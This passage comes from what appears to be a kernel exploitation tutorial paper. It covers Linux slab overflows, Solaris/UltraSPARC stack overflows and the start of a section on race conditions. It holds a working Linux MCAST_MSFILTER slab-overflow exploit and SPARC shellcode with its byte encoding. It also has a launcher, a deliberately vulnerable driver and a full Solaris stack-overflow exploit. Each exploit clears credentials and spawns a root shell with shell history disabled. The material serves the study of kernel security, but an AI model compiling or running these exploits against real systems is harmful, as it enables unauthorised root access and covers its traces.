*fp; char slab[BUFSIZE], line[BUFSIZE]; int ret; /* UP case */ int active_obj, total; bzero(slab, BUFSIZE); bzero(line, BUFSIZE); fp = fopen("/proc/slabinfo", "r"); if ( fp == NULL ) fatal("error opening /proc for slabinfo"); fgets(slab, sizeof(slab) - 1, fp); do { ret = 0; if (!fgets(line, sizeof(line) - 1, fp)) break; ret = sscanf(line, "%s %u %u", slab, &active_obj, &total); } while (strcmp(slab, name)); close(fileno(fp)); fclose(fp); return ret == 3 ? total - active_obj : -1; } int populate_1024_slab() { int fd[252]; int i; signal(SIGUSR1, sigusr); for ( i = 0; i < 252 ; i++) fd[i] = open(R_FILE, O_RDONLY); while (!gotsig) pause(); gotsig = 0; for ( i = 0; i < 252; i++) close(fd[i]); } int kernel_code() { int i, c; int *v; __asm__("movl %%esp, %0" : : "m" (c)); c &= 0xffffe000; v = (void *) c; for (i = 0; i < 4096 / sizeof(*v) - 1; i++) { if (v[i] == uid && v[i+1] == uid) { i++; v[i++] = 0; v[i++] = 0; v[i++] = 0; } if (v[i] == gid) { v[i++] = 0; v[i++] = 0; v[i++] = 0; v[i++] = 0; return -1; } } return -1; } void prepare_evil_file () { int i = 0; chien.mmap = &kernel_code ; // just to pass do_mmap_pgoff check chien.get_unmapped_area = &kernel_code; /* * First time i run the exploit i was using a precise offset for * size, and i calculated it _wrong_. Since then my lazyness took * over and i use that ""very clean"" *g* approach. * Why i'm telling you ? It's 3 a.m., i don't find any better than * writing blubbish comments */ for ( i = 0; i < 40; i++) le.size[i] = SIZE; } #define SEQ_MULTIPLIER 32768 void prepare_evil_gf ( struct group_filter *gf, int id ) { int filling_space = 64 - 4 * sizeof(int); int i = 0; struct sockaddr_in *sin; filling_space /= 4; for ( i = 0; i < filling_space; i++ ) { sin = (struct sockaddr_in *)&gf->gf_slist[i]; sin->sin_family = AF_INET; sin->sin_addr.s_addr = 0x41414141; } /* Emulation of struct kern_ipc_perm */ sin = (struct sockaddr_in *)&gf->gf_slist[i++]; sin->sin_family = AF_INET; sin->sin_addr.s_addr = IPC_PRIVATE; sin = (struct sockaddr_in *)&gf->gf_slist[i++]; sin->sin_family = AF_INET; sin->sin_addr.s_addr = uid; sin = (struct sockaddr_in *)&gf->gf_slist[i++]; sin->sin_family = AF_INET; sin->sin_addr.s_addr = gid; sin = (struct sockaddr_in *)&gf->gf_slist[i++]; sin->sin_family = AF_INET; sin->sin_addr.s_addr = uid; sin = (struct sockaddr_in *)&gf->gf_slist[i++]; sin->sin_family = AF_INET; sin->sin_addr.s_addr = gid; sin = (struct sockaddr_in *)&gf->gf_slist[i++]; sin->sin_family = AF_INET; sin->sin_addr.s_addr = -1; sin = (struct sockaddr_in *)&gf->gf_slist[i++]; sin->sin_family = AF_INET; sin->sin_addr.s_addr = id/SEQ_MULTIPLIER; /* evil struct file address */ sin = (struct sockaddr_in *)&gf->gf_slist[i++]; sin->sin_family = AF_INET; sin->sin_addr.s_addr = (unsigned long)&gagne; /* that will stop mcast loop */ sin = (struct sockaddr_in *)&gf->gf_slist[i++]; sin->sin_family = 0xbad; sin->sin_addr.s_addr = 0xdeadbeef; return; } void cleanup () { int i = 0; struct shmid_ds s; for ( i = 0; i < fillup_1024; i++ ) { kill(pid[i], SIGUSR1); waitpid(pid[i], NULL, __WCLONE); } for ( i = 0; i < fillup_64 - 2; i++ ) shmctl(shmid[i], IPC_RMID, &s); } #define EVIL_GAP 4 #define SLAB_1024 "size-1024" #define SLAB_64 "size-64" #define OVF 21 #define CHUNKS 1024 #define LOOP_VAL 0x4000000f #define CHIEN_VAL 0x4000000b main() { int sockfd, ret, i; unsigned int true_alloc_size, last_alloc_chunk, loops; char *buffer; struct group_filter *gf; struct shmid_ds s; char *argv[] = { "le-chien", NULL }; char *envp[] = { "TERM=linux", "PS1=le-chien\\$", "BASH_HISTORY=/dev/null", "HISTORY=/dev/null", "history=/dev/null", "PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin", "HISTFILE=/dev/null", NULL }; true_alloc_size = sizeof(struct group_filter) - sizeof(struct sockaddr_storage) + sizeof(struct sockaddr_storage) * OVF; sockfd = socket(AF_INET, SOCK_STREAM, 0); uid = getuid(); gid = getgid(); gf = malloc (true_alloc_size); if ( gf == NULL ) fatal("Malloc failure\n"); gf->gf_interface = 0; gf->gf_group.ss_family = AF_INET; fillup_64 = calculate_slaboff(SLAB_64); if ( fillup_64 == -1 ) fatal("Error calculating slab fillup\n"); printf("[+] Slab %s fillup is %d\n", SLAB_64, fillup_64); /* Yes, two would be enough, but we have that "sexy" #define, why don't use it ? :-) */ fillup_64 += EVIL_GAP; shmid = malloc(fillup_64 * sizeof(int)); if ( shmid == NULL ) fatal("Malloc failure\n"); /* Filling up the size-64 and obtaining a new page with EVIL_GAP entries */ for ( i = 0; i < fillup_64; i++ ) shmid[i] = shmget(IPC_PRIVATE, 4096, IPC_CREAT|SHM_R); prepare_evil_file(); prepare_evil_gf(gf, shmid[fillup_64 - 1]); buffer = (char *)gf; fillup_1024 = calculate_slaboff(SLAB_1024); if ( fillup_1024 == -1 ) fatal("Error calculating slab fillup\n"); printf("[+] Slab %s fillup is %d\n", SLAB_1024, fillup_1024); fillup_1024 += EVIL_GAP; pid = malloc(fillup_1024 * sizeof(int)); if (pid == NULL ) fatal("Malloc failure\n"); for ( i = 0; i < fillup_1024; i++) pid[i] = clone(populate_1024_slab, stack + sizeof(stack) - 4, 0, NULL); printf("[+] Attempting to trash size-1024 slab\n"); /* Here starts the loop trashing size-1024 slab */ last_alloc_chunk = true_alloc_size % CHUNKS; loops = true_alloc_size / CHUNKS; gf->gf_numsrc = LOOP_VAL; printf("[+] Last size-1024 chunk is of size %d\n", last_alloc_chunk); printf("[+] Looping for %d chunks\n", loops); kill(pid[--fillup_1024], SIGUSR1); waitpid(pid[fillup_1024], NULL, __WCLONE); if ( last_alloc_chunk > 512 ) ret = setsockopt(sockfd, SOL_IP, MCAST_MSFILTER, buffer + loops * CHUNKS, last_alloc_chunk); else /* * Should never happen. If it happens it probably means that we've * bigger datatypes (or slab-size), so probably * there's something more to "fix me". The while loop below is * already okay for the eventual fixing ;) */ fatal("Last alloc chunk fix me\n"); while ( loops > 1 ) { kill(pid[--fillup_1024], SIGUSR1); waitpid(pid[fillup_1024], NULL, __WCLONE); ret = setsockopt(sockfd, SOL_IP, MCAST_MSFILTER, buffer + --loops * CHUNKS, CHUNKS); } /* Let's the real fun begin */ gf->gf_numsrc = CHIEN_VAL; kill(pid[--fillup_1024], SIGUSR1); waitpid(pid[fillup_1024], NULL, __WCLONE); shmctl(shmid[fillup_64 - 2], IPC_RMID, &s); setsockopt(sockfd, SOL_IP, MCAST_MSFILTER, buffer, CHUNKS); cleanup(); ret = (unsigned long)shmat(shmid[fillup_64 - 1], NULL, SHM_RDONLY); if ( ret == -1) { printf("Le Fucking Chien GAGNE!!!!!!!\n"); setresuid(0, 0, 0); setresgid(0, 0, 0); execve("/bin/sh", argv, envp); exit(0); } printf("Here we are, something sucked :/ (if not L1_cache too big, probably slab align, retry)\n" ); } < / > ------[ 2.3 - Stack overflow vulnerabilities When a process is in 'kernel mode' it has a stack which is different from the stack it uses at userland. We'll call it 'kernel stack'. That kernel stack is usually limited in size to a couple of pages (on Linux, for example, it is 2 pages, 8kb, but an option at compile time exist to have it limited at one page) and is not a surprise that a common design practice in kernel code developing is to use locally to a function as little stack space as possible. At a first glance, we can imagine two different scenarios that could go under the name of 'stack overflow vulnerabilities' : - 'standard' stack overflow vulnerability : a write past a buffer on the stack overwrites the saved instruction pointer or the frame pointer (Solaris only, Linux is compiled with -fomit-frame-pointer) or some variable (usually a pointer) also located in the stack. - 'stack size overflow' : a deeply nested callgraph goes further the alloc'ed stack space. Stack based explotation is more architectural and o.s. specific than the already presented slab based one. That is due to the fact that once the stack is trashed we achieve execution flow hijack, but then we must find a way to somehow return to userland. We con't cover here the details of x86 architecture, since those have been already very well explained by noir in his phrack60 paper [13]. We will instead focus on the UltraSPARC architecture and on its more common operating system, Solaris. The next subsection will describe the relevant details of it and will present a technique which is suitable aswell for the exploiting of slab based overflow (or, more generally, whatever 'controlled flow redirection' vulnerability). The AMD64 architecture won't be covered yet, since it will be our 'example architecture' for the next kind of vulnerabilities (race condition). The sendmsg [5] exploit proposed later on is, at the end, a stack based one. Just before going on with the UltraSPARC section we'll just spend a couple of words describing the return-to-ring3 needs on an x86 architecture and the Linux use of the kernel stack (since it quite differs from the Solaris one). Linux packs together the stack and the struct associated to every process in the system (on Linux 2.4 it was directly the task_struct, on Linux 2.6 it is the thread_info one, which is way smaller and keeps inside a pointer to the task_struct). This memory area is, by default, 8 Kb (a kernel option exist to have it limited to 4 Kb), that is the size of two pages, which are allocated consecutively and with the first one aligned to a 2^13 multiple. The address of the thread_struct (or of the task_struct) is thus calculable at runtime by masking out the 13 least significant bits of the Kernel Stack (%esp). The stack starts at the bottom of this page and 'grows' towards the top, where the thread_info (or the task_struct) is located. To prevent the 'second' type of overflow when the 4 Kb Kernel Stack is selected at compile time, the kernel uses two adjunctive per-CPU stacks, one for interrupt handling and one for softirq and tasklets functions, both one page sized. It is obviously on the stack that Linux stores all the information to return from exceptions, interrupts or function calls and, logically, to get back to ring3, for example by means of the iret instruction. If we want to use the 'iret' instruction inside our shellcodes to get out cleanly from kernel land we have to prepare a fake stack frame as it expects to find. We have to supply: - a valid user space stack pointer - a valid user space instruction pointer - a valid EFLAGS saved EFLAGS register - a valid User Code Segment - a valid User Stack Segment LOWER ADDRESS +-----------------+ | | | User SS | -+ | User ESP | | | EFLAGS | | Fake Iret Frame | User CS | | | User EIP | -+ <----- current kernel stack pointer (ESP) | | +-----------------+ We've added a demonstrative stack based exploit (for the Linux dummy driver) which implements a shellcode doing that recovery-approach : movl $0x7b,0x10(%esp) // user stack segment (SS) movl $stack_chunk,0xc(%esp) // user stack pointer (ESP) movl $0x246,0x8(%esp) // valid EFLAGS saved register movl $0x73,0x4(%esp) // user code segment (CS) movl $code_chunk,0x0(%esp) // user code pointer (EIP) iret You can find it in < expl/linux/stack_based.c > ---[ 2.3.1 - UltraSPARC exploiting The UltraSPARC [14] is a full implementation of the SPARC V9 64-bit [2] architecture. The most 'interesting' part of it from an exploiting perspective is the support it gives to the operating system for a fully separated address space among userspace and kernelspace. This is achieved through the use of context registers and address space identifiers 'ASI'. The UltraSPARC MMU provides two settable context registers, the primary (PContext) and the secondary (SContext) one. One more context register hardwired to zero is provided, which is the nucleus context ('context' 0 is where the kernel lives). To every process address space is associated a 'context value', which is set inside the PContext register during process execution. This value is used to perform memory addresses translation. Every time a process issues a trap instruction to access kernel land (for example ta 0x8 or ta 0x40, which is how system call are implemented on Solaris 10), the nucleus context is set as default. The process context value (as recorded inside PContext) is then moved to SContext, while the nucleus context becomes the 'primary context'. At that point the kernel code can access directly the userland by specifying the correct ASI to a load or store alternate instruction (instructions that support a direct asi immediate specified - lda/sta). Address Space Identifiers (ASIs) basically specify how those instruction have to behave : < usr/src/uts/sparc/v9/sys/asi.h > #define ASI_N 0x04 /* nucleus */ #define ASI_NL 0x0C /* nucleus little */ #define ASI_AIUP 0x10 /* as if user primary */ #define ASI_AIUS 0x11 /* as if user secondary */ #define ASI_AIUPL 0x18 /* as if user primary little */ #define ASI_AIUSL 0x19 /* as if user secondary little */ [...] #define ASI_USER ASI_AIUS < / > Theese are ASI that are specified by the SPARC v9 reference (more ASI are machine dependant and let modify, for example, MMU or other hardware registers, check usr/src/uts/sun4u/sys/machasi.h), the 'little' version is just used to specify a byte ordering access different from the 'standard' big endian one (SPARC v9 can access data in both formats). The ASI_USER is the one used to access, from kernel land, the user space. An instruction like : ldxa [addr]ASI_USER, %l1 would just load the double word stored at 'addr', relative to the address space contex stored in the SContext register, 'as if' it was accessed by userland code (so with all protection checks). It is thus possible, if able to start executing a minimal stub of code, to copy bytes from the userland wherever we want at kernel land. But how do we execute code at first ? Or, to make it even more clearer, where do we return once we have performed our (slab/stack) overflow and hijacked the instruction pointer ? To complicate things a little more, the UltraSPARC architecture implements the execution bit permission over TTEs (Translation Table Entry, which are the TLB entries used to perform virtual/physical translations). It is time to give a look at Solaris Kernel implementation to find a solution. The technique we're going to present now (as you'll quickly figure out) is not limited to stack based exploiting, but can be used every time you're able to redirect to an arbitrary address the instruction flow at kernel land. ---] 2.3.2 - A reliable Solaris/UltraSPARC exploit The Solaris process model is slightly different from the Linux one. The foundamental unit of scheduling is the 'kernel thread' (described by the kthread_t structure), so one has to be associated to every existing LWP (light-weight process) in a process. LWPs are just kernel objects which represent the 'kernel state' of every 'user thread' inside a process and thus let each one enter the kernel indipendently (without LWPs, user thread would contend at system call). The information relative to a 'running process' are so scattered among different structures. Let's see what we can make out of them. Every Operating System (and Solaris doesn't differ) has a way to quickly get the 'current running process'. On Solaris it is the 'current kernel thread' and it's obtained, on UltraSPARC, by : #define curthread (threadp()) < usr/src/uts/sparc/ml/sparc.il > ! return current thread pointer .inline threadp,0 .register %g7, #scratch mov %g7, %o0 .end < / > It is thus stored inside the %g7 global register. From the kthread_t struct we can access all the other 'process related' structs. Since our main purpose is to raise privileges we're interested in where the Solaris kernel stores process credentials. Those are saved inside the cred_t structure pointed to by the proc_t one : # mdb -k Loading modules: [ unix krtld genunix ip usba nfs random ptm ] > ::ps ! grep snmpdx R 278 1 278 278 0 0x00010008 0000030000e67488 snmpdx > 0000030000e67488::print proc_t { p_exec = 0x30000e5b5a8 p_as = 0x300008bae48 p_lockp = 0x300006167c0 p_crlock = { _opaque = [ 0 ] } p_cred = 0x3000026df28 [...] > 0x3000026df28::print cred_t { cr_ref = 0x67b cr_uid = 0 cr_gid = 0 cr_ruid = 0 cr_rgid = 0 cr_suid = 0 cr_sgid = 0 cr_ngroups = 0 cr_groups = [ 0 ] } > ::offsetof proc_t p_cred offsetof (proc_t, p_cred) = 0x20 > ::quit # The '::ps' dcmd ouput introduces a very interesting feature of the Solaris Operating System, which is a god-send for exploiting. The address of the proc_t structure in kernel land is exported to userland : bash-2.05$ ps -aef -o addr,comm | grep snmpdx 30000e67488 /usr/lib/snmp/snmpdx bash-2.05$ At a first glance that could seem of not great help, since, as we said, the kthread_t struct keeps a pointer to the related proc_t one : > ::offsetof kthread_t t_procp offsetof (kthread_t, t_procp) = 0x118 > ::ps ! grep snmpdx R 278 1 278 278 0 0x00010008 0000030000e67488 snmpdx > 0000030000e67488::print proc_t p_tlist p_tlist = 0x30000e52800 > 0x30000e52800::print kthread_t t_procp t_procp = 0x30000e67488 > To understand more precisely why the exported address is so important we have to take a deeper look at the proc_t structure. This structure contains the user_t struct, which keeps information like the program name, its argc/argv value, etc : > 0000030000e67488::print proc_t p_user [...] p_user.u_ticks = 0x95c p_user.u_comm = [ "snmpdx" ] p_user.u_psargs = [ "/usr/lib/snmp/snmpdx -y -c /etc/snmp/conf" ] p_user.u_argc = 0x4 p_user.u_argv = 0xffbffcfc p_user.u_envp = 0xffbffd10 p_user.u_cdir = 0x3000063fd40 [...] We can control many of those. Even more important, the pages that contains the process_cache (and thus the user_t struct), are not marked no-exec, so we can execute from there (for example the kernel stack, allocated from the seg_kp [kernel pageable memory] segment, is not executable). Let's see how 'u_psargs' is declared : < usr/src/common/sys/user.h > #define PSARGSZ 80 /* Space for exec arguments (used by ps(1)) */ #define MAXCOMLEN 16 /* <= MAXNAMLEN, >= sizeof (ac_comm) */ [...] typedef struct user { /* * These fields are initialized at process creation time and never * modified. They can be accessed without acquiring locks. */ struct execsw *u_execsw; /* pointer to exec switch entry */ auxv_t u_auxv[__KERN_NAUXV_IMPL]; /* aux vector from exec */ timestruc_t u_start; /* hrestime at process start */ clock_t u_ticks; /* lbolt at process start */ char u_comm[MAXCOMLEN + 1]; /* executable file name from exec */ char u_psargs[PSARGSZ]; /* arguments from exec */ int u_argc; /* value of argc passed to main() */ uintptr_t u_argv; /* value of argv passed to main() */ uintptr_t u_envp; /* value of envp passed to main() */ [...] < / > The idea is simple : we put our shellcode on the command line of our exploit (without 'zeros') and we calculate from the exported proc_t address the exact return address. This is enough to exploit all those situations where we have control of the execution flow _without_ trashing the stack (function pointer overwriting, slab overflow, etc). We have to remember to take care of the alignment, thou, since the UltraSPARC fetch unit raises an exception if the address it reads the instruction from is not aligned on a 4 bytes boundary (which is the size of every sparc instruction) : > ::offsetof proc_t p_user offsetof (proc_t, p_user) = 0x330 > ::offsetof user_t u_psargs offsetof (user_t, u_psargs) = 0x161 > Since the proc_t taken from the 'process cache' is always aligned to an 8 byte boundary, we have to jump 3 bytes after the starting of the u_psargs char array (which is where we'll put our shellcode). That means that we have space for 76 / 4 = 19 instructions, which is usually enough for average shellcodes.. but space is not really a limit since we can 'chain' more psargs struct from different processes, simply jumping from each others. Moreover we could write a two stage shellcode that would just start copying over our larger one from the userland using the load from alternate space instructions presented before. We're now facing a slightly more complex scenario, thou, which is the 'kernel stack overflow'. We assume here that you're somehow familiar with userland stack based exploiting (if you're not you can check [15] and [16]). The main problem here is that we have to find a way to safely return to userland once trashed the stack (and so, to reach the instruction pointer, the frame pointer). A good way to understand how the 'kernel stack' is used to return to userland is to follow the path of a system call. You can get a quite good primer here [17], but we think that a read through opensolaris sources is way better (you'll see also, following the sys_trap entry in uts/sun4u/ml/mach_locore.s, the code setting the nucleus context as the PContext register). Let's focus on the 'kernel stack' usage : < usr/src/uts/sun4u/ml/mach_locore.s > ALTENTRY(user_trap) ! ! user trap ! ! make all windows clean for kernel ! buy a window using the current thread's stack ! sethi %hi(nwin_minus_one), %g5 ld [%g5 + %lo(nwin_minus_one)], %g5 wrpr %g0, %g5, %cleanwin CPU_ADDR(%g5, %g6) ldn [%g5 + CPU_THREAD], %g5 ldn [%g5 + T_STACK], %g6 sub %g6, STACK_BIAS, %g6 save %g6, 0, %sp < / > In %g5 is saved the number of windows that are 'implemented' in the architecture minus one, which is, in that case, 8 - 1 = 7. CLEANWIN is set to that value since there are no windows in use out of the current one, and so the kernel has 7 free windows to use. The cpu_t struct addr is then saved in %g5 (by CPU_ADDR) and, from there, the thread pointer [ cpu_t->cpu_thread ] is obtained. From the kthread_t struct is obtained the 'kernel stack address' [the member name is called t_stk]. This one is a good news, since that member is easy accessible from within a shellcode (it's just a matter of correctly accessing the %g7 / thread pointer). From now on we can follow the sys_trap path and we'll be able to figure out what we will find on the stack just after the kthread_t->t_stk value and where. To that value is then subtracted 'STACK_BIAS' : the 64-bit v9 SPARC ABI specifies that the %fp and %sp register are offset by a constant, the stack bias, which is 2047 bits. This is one thing that we've to remember while writing our 'stack fixup' shellcode. On 32-bit running kernels the value of this constant is 0. The save below is another good news, because that means that we can use the t_stk value as a %fp (along with the 'right return address') to return at 'some valid point' inside the syscall path (and thus let it flow from there and cleanily get back to userspace). The question now is : at which point ? Do we have to 'hardcode' that return address or we can somehow gather it ? A further look at the syscall path reveals that : ENTRY_NP(utl0) SAVE_GLOBALS(%l7) SAVE_OUTS(%l7) mov %l6, THREAD_REG wrpr %g0, PSTATE_KERN, %pstate ! enable ints jmpl %l3, %o7 ! call trap handler mov %l7, %o0 And, that %l3 is : have_win: SYSTRAP_TRACE(%o1, %o2, %o3) ! ! at this point we have a new window we can play in, ! and %g6 is the label we want done to bounce to ! ! save needed current globals ! mov %g1, %l3 ! pc mov %g2, %o1 ! arg #1 mov %g3, %o2 ! arg #2 srlx %g3, 32, %o3 ! pseudo arg #3 srlx %g2, 32, %o4 ! pseudo arg #4 %g1 was preserved since : #define SYSCALL(which) \ TT_TRACE(trace_gen) ;\ set (which), %g1 ;\ ba,pt %xcc, sys_trap ;\ sub %g0, 1, %g4 ;\ .align 32 and so it is syscall_trap for LP64 syscall and syscall_trap32 for ILP32 syscall. Let's check if the stack layout is the one we expect to find : > ::ps ! grep snmp R 291 1 291 291 0 0x00020008 0000030000db4060 snmpXdmid R 278 1 278 278 0 0x00010008 0000030000d2f488 snmpdx > ::ps ! grep snmpdx R 278 1 278 278 0 0x00010008 0000030000d2f488 snmpdx > 0000030000d2f488::print proc_t p_tlist p_tlist = 0x30001dd4800 > 0x30001dd4800::print kthread_t t_stk t_stk = 0x2a100497af0 "" > 0x2a100497af0,16/K 0x2a100497af0: 1007374 2a100497ba0 30001dd2048 1038a3c 1449e10 0 30001dd4800 2a100497ba0 ffbff700 3 3a980 0 3a980 0 ffbff6a0 ff1525f0 0 0 0 0 0 0 > syscall_trap32=X 1038a3c > Analyzing the 'stack frame' we see that the saved %l6 is exactly THREAD_REG (the thread value, 30001dd4800) and %l3 is 1038a3c, the syscall_trap32 address. At that point we're ready to write our 'shellcode' : # cat sparc_stack_fixup64.s .globl begin .globl end begin: ldx [%g7+0x118], %l0 ldx [%l0+0x20], %l1 st %g0, [%l1 + 4] ldx [%g7+8], %fp ldx [%fp+0x18], %i7 sub %fp,2047,%fp add 0xa8, %i7, %i7 ret restore end: # At that point it should be quite readable : it gets the t_procp address from the kthread_t struct and from there it gets the p_cred addr. It then sets to zero (the %g0 register is hardwired to zero) the cr_uid member of the cred_t struct and uses the kthread_t->t_stk value to set %fp. %fp is then dereferenced to get the 'syscall_trap32' address and the STACK_BIAS subtraction is then performed. The add 0xa8 is the only hardcoded value, and it's the 'return place' inside syscall_trap32. You can quickly derive it from a ::findstack dcmd with mdb. A more advanced shellcode could avoid this 'hardcoded value' by opcode scanning from the start of the syscall_trap32 function and looking for the jmpl %reg,%o7/nop sequence (syscall_trap32 doesn't get a new window, and stays in the one sys_trap had created) pattern. On all the boxes we tested it was always 0xa8, that's why we just left it hardcoded. As we said, we need the shellcode to be into the command line, 'shifted' of 3 bytes to obtain the correct alignment. To achieve that a simple launcher code was used : bash-2.05$ cat launcer_stack.c #include char sc[] = "\x66\x66\x66" // padding for alignment "\xe0\x59\xe1\x18\xe2\x5c\x20\x20\xc0\x24\x60\x04\xfc\x59\xe0" "\x08\xfe\x5f\xa0\x18\xbc\x27\xa7\xff\xbe\x07\xe0\xa8\x81" "\xc7\xe0\x08\x81\xe8\x00\x00"; int main() { execl("e", sc, NULL); return 0; } bash-2.05$ The shellcode is the one presented before. Before showing the exploit code, let's just paste the vulnerable code, from the dummy driver provided for Solaris : < stuff/drivers/solaris/test.c > [...] static int handle_stack (intptr_t arg) { char buf[32]; struct test_comunique t_c; ddi_copyin((void *)arg, &t_c, sizeof(struct test_comunique), 0); cmn_err(CE_CONT, "Requested to copy over buf %d bytes from %p\n", t_c.size, &buf); ddi_copyin((void *)t_c.addr, buf, t_c.size, 0); [1] return 0; } static int test_ioctl (dev_t dev, int cmd, intptr_t arg, int mode, cred_t *cred_p, int *rval_p ) { cmn_err(CE_CONT, "ioctl called : cred %d %d\n", cred_p->cr_uid, cred_p->cr_gid); switch ( cmd ) { case TEST_STACKOVF: { handle_stack(arg); } [...] < / > The vulnerability is quite self explanatory and is a lack of 'input sanitizing' before calling the ddi_copyin at [1]. Exploit follows : < stuff/expl/solaris/e_stack.c > #include #include #include #include #include #include #include #include "test.h" #define BUFSIZ 192 char buf[192]; typedef struct psinfo { int pr_flag; /* process flags */ int pr_nlwp; /* number of lwps in process */ pid_t pr_pid; /* unique process id */ pid_t pr_ppid; /* process id of parent */ pid_t pr_pgid; /* pid of process group leader */ pid_t pr_sid; /* session id */ uid_t pr_uid; /* real user id */ uid_t pr_euid; /* effective user id */ gid_t pr_gid; /* real group id */ gid_t pr_egid; /* effective group id */ uintptr_t pr_addr; /* address of process */ size_t pr_size; /* size of process image in Kbytes */ } psinfo_t; #define ALIGNPAD 3 #define PSINFO_PATH "/proc/self/psinfo" unsigned long getaddr() { psinfo_t info; int fd; fd = open(PSINFO_PATH, O_RDONLY); if ( fd == -1) { perror("open"); return -1; } read(fd, (char *)&info, sizeof (info)); close(fd); return info.pr_addr; } #define UPSARGS_OFFSET 0x330 + 0x161 int exploit_me() { char *argv[] = { "princess", NULL }; char *envp[] = { "TERM=vt100", "BASH_HISTORY=/dev/null", "HISTORY=/dev/null", "history=/dev/null", "PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin", "HISTFILE=/dev/null", NULL }; printf("Pleased to see you, my Princess\n"); setreuid(0, 0); setregid(0, 0); execve("/bin/sh", argv, envp); exit(0); } #define SAFE_FP 0x0000000001800040 + 1 #define DUMMY_FILE "/tmp/test" int main() { int fd; int ret; struct test_comunique t; unsigned long *pbuf, retaddr, p_addr; memset(buf, 'A', BUFSIZ); p_addr = getaddr(); printf("[*] - Using proc_t addr : %p \n", p_addr); retaddr = p_addr + UPSARGS_OFFSET + ALIGNPAD; printf("[*] - Using ret addr : %p\n", retaddr); pbuf = &buf[32]; pbuf += 2; /* locals */ for ( ret = 0; ret < 14; ret++ ) *pbuf++ = 0xBBBBBBBB + ret; *pbuf++ = SAFE_FP; *pbuf = retaddr - 8; t.size = sizeof(buf); t.addr = buf; fd = open(DUMMY_FILE, O_RDONLY); ret = ioctl(fd, 1, &t); printf("fun %d\n", ret); exploit_me(); close(fd); } < / > The exploit is quite simple (we apologies, but we didn't have a public one to show at time of writing) : - getaddr() uses procfs exported psinfo data to get the proc_t address of the running process. - the return addr is calculated from proc_t addr + the offset of the u_psargs array + the three needed bytes for alignment - SAFE_FP points just 'somewhere in the data segment' (and ready to be biased for the real dereference). Due to SPARC window mechanism we have to provide a valid address that it will be used to 'load' the saved procedure registers upon re-entering. We don't write on that address so whatever readable kernel part is safe. (in more complex scenarios you could have to write over too, so take care). - /tmp/test is just a link to the /devices/pseudo/test@0:0 file - the exploit has to be compiled as a 32-bit executable, so that the syscall_trap32 offset is meaningful You can compile and test the driver on your boxes, it's really simple. You can extend it to test more scenarios, the skeleton is ready for it. ------[ 2.4 - A primer on logical bugs : race conditions Heap and Stack Overflow (even more, NULL pointer dereference) are seldomly found on their own, and, since the automatic and human auditing work goes on and on, they're going to be even more rare. What will probably survive for more time are 'logical bugs', which may lead, at the end, to a classic overflow. Figure out a modelization of 'logical bugs' is, in our opinion, nearly impossible, each one is a story on itself. Notwithstanding this, one typology of those is quite interesting (and 'widespread') and at least some basic approaches to it are suitable for a generic description. We're talking about 'race conditions'. In short, we have a race condition everytime we have a small window of time that we can use to subvert the operating system behaviour. A race condition is usually the consequence of a forgotten lock or other syncronization primitive or the use of a variable 'too much time after' the sanitizing of its value. Just point your favorite vuln database search engine towards 'kernel race condition' and you'll find many different examples. Winning the race is our goal. This is easier on SMP systems, since the two racing threads (the one following the 'raceable kernel path' and the other competing to win the race) can be scheduled (and be bounded) on different CPUs. We just need to have the 'racing thread' go faster than the other one, since they both can execute in parallel. Winning a race on UP is harder : we have to force the first kernel path to sleep (and thus to re-schedule). We have also to 'force' the scheduler into selecting our 'racing' thread, so we have to take care of scheduling algorithm implementation (ex. priority based). On a system with a low CPU load this is generally easy to get : the racing thread is usually 'spinning' on some condition and is likely the best candidate on the runqueue. We're going now to focus more on 'forcing' a kernel path to sleep, analyzing the nowadays common interface to access files, the page cache. After that we'll present the AMD64 architecture and show a real race exploit for Linux on it, based on the sendmsg [5] vulnerability. Winning the race in that case turns the vuln into a stack based one, so the discussion will analize stack based explotation on Linux/AMD64 too. ---[ 2.4.1 - Forcing a kernel path to sleep If you want to win a race, what's better than slowing down your opponent? And what's slower than accessing the hard disk, in a modern computer ? Operating systems designers know that the I/O over the disk is one of the major bottleneck on system performances and know aswell that it is one of the most frequent operations requested. Disk accessing and Virtual Memory are closely tied : virtual memory needs to access the disk to accomplish demand paging and in/out swapping, while the filesystem based I/O (both direct read/write and memory mapping of files) works in units of pages and relays on VM functions to perform the write out of 'dirty' pages. Moreover, to sensibly increase performances, frequently accessed disk pages are kept in RAM, into the so-called 'Page Cache'. Since RAM isn't an inexhaustible resource, pages to be loaded and 'cached' into it have to be carefully 'selected'. The first skimming is made by the 'Demand Paging' approach : a page is loaded from disk into memory only when it is referenced, by the page fault handler code. Once a filesystem page is loaded into memory, it enters into the 'Page Cache' and stays in memory for an unspecified time (depending on disk activity and RAM availability, generally a LRU policy is used as an evict-policy). Since it's quite common for an userland application to repeatedly access the same disk content/pages (or for different applications, to access common files), the 'Page Cache' sensibly increases performances. One last thing that we have to discuss is the filesystem 'page clustering'. Another common principle in 'caching' is the 'locality'. Pages near the referenced one are likely to be accessed in a near future and since we're accessing the disk we can avoid the future seek-rotation latency if we load in more pages after the referenced one. How many to load is determined by the page cluster value. On Linux that value is 3, so 2^3 pages are loaded after the referenced one. On Solaris, if the pages are 8-kb sized, the next eight pages on a 64kb boundary are brought in by the seg_vn driver (mmap-case). Putting all together, if we want to force a kernel path to sleep we need to make it reference an un-cached page, so that a 'fault' happens due to demand paging implementation. The page fault handler needs to perform disk I/O, so the process is put to sleep and another one is selected by the scheduler. Since probably we want aswell our 'controlled contents' to be at the faulting address we need to mmap the pages, modify them and then exhaust the page cache before making the kernel re-access them again. Filling the 'page cache' has also the effect of consuming a large quantity of RAM and thus increasing the in/out swapping. On modern operating systems one can't create a condition of memory pressure only by exhausting the page cache (as it was possible on very old implementations), since only some amount of RAM is dedicated to the Page Cache and it would keep on stealing pages from itself, leaving other subsystems free to perform well. But we can manage to exhaust those subsystem aswell, for example by making the kernel do a large amount of 'surviving' slab-allocations. Working to put the VM under pressure is something to take always in mind, since, done that, one can manage to slow down the kernel (favouring races) and make kmalloc or other allocation function to fail. (A thing that seldomly happens on normal behaviour). It is time, now, for another real life situation. We'll show the sendmsg [5] vulnerability and exploiting code and we'll describe briefly the AMD64 architectural more exploiting-relevant details. ---[ 2.4.2 - AMD64 and race condition exploiting: sendmsg AMD64 is the 64-bit 'extension' of the x86 architecture, which is natively supported. It supports 64-bit registers, pointers/virtual addresses and integer/logic operations. AMD64 has two primary modes of operation, 'Long mode', which is the standard 64-bit one (32-bit and 16-bit binaries can be still run with almost no performance 